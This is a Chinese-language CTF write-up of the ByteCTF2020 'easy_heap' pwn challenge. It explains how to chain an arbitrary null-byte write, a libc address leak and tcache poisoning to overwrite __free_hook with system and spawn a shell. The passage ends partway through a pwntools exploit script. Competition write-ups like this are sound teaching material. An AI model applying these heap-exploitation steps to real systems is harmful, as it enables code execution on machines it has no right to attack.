github pages address
【CTF题解NO.00005】ByteCTF2020 - pwn - write up by arttnba3
推荐到这里进行阅读:github pages address
0x00.绪论
ByteCTF是由字节跳动办的CTF,同时也是是字节跳动“安全范儿”高校挑战赛的一部分,作为baby pwner有幸和协会的师傅们代表L-team一起去北京参加了最后的总决赛(虽然说我好像没发挥啥作用Or2
题目的质量都很高,以及逆向量十分巨大,比赛当天把我给看晕了(当然主要还是因为我太菜了Or2
0x01.线上赛 - CTF -PWN
0x00.easy_heap - null by any address + tcache poisoning
惯例的堆题签到题,惯例的checksec
,保护全开
拖入IDA进行分析(部分函数、变量经重命名)
不难看出,该程序有着分配、释放、打印堆块的功能,且最多只能分配8个堆块,空间有一丶丶紧张
漏洞:任意地址写0
我们不难发现在分配堆块的函数中存在着任意地址写0的漏洞
利用这个漏洞我们便可以构造tcache poisoning:free掉几个堆块进tcache后改写第一个堆块的fd指针指向自身(这里我们需要分到一个自身的fd的地址的高字节为’\x00’的堆块)
同时,我们可以将一个堆块送入unsorted bin后切割出一个小堆块并打印,获得libc的基址
需要注意的是*(ptr + size -1)写0的操作、我们的输入、unsortedbin的分割过程都会破坏分割出来的这个小堆块上所储存的内容,,故我们需要将这个0写到别的不会破坏堆结构的地方,同时我们的size应当尽量小、输入应当尽量少、且贴合原chunk内容,以保证我们能够获得正确的libc基址
我们先分配8个大小为0x91的chunk并释放,之后尝试分割出一个最小的chunk(malloc(1),得到只清空了一个字节的0x21大小的chunk),gdb调试发现main_arena + 96的地址的最后一个字节都是\xe0
,故我们仅输入一个\xe0
字节即可
gdb调试发现这个小chunk保存的地址是main_arena + 352的地址,输出即可获得libc基址
接下来利用任意地址写0构造tcache poisoning:分配出FD所在地址末字节为0的chunk,free进tcache,之后用任意地址写0使其FD指向自己的FD即可
最后构造fake chunk改写__free_hook
为system
后释放一个内容为"/bin/sh"
的chunk即可get shell
构造exp如下:
from pwn import *
#context.log_level = 'DEBUG'
p = process("./easyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
def cmd(command:int):
p.recvuntil(b">> ")
p.sendline(str(command).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.sendline(content)
def newWithZero(zero_location:int, size:int, content):
cmd(1)
p.recvuntil(b"Size: ")
p.sendline(str(zero_location).encode())
p.recvuntil(b"Invalid size.")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.sendline(content)
def dump(index:int):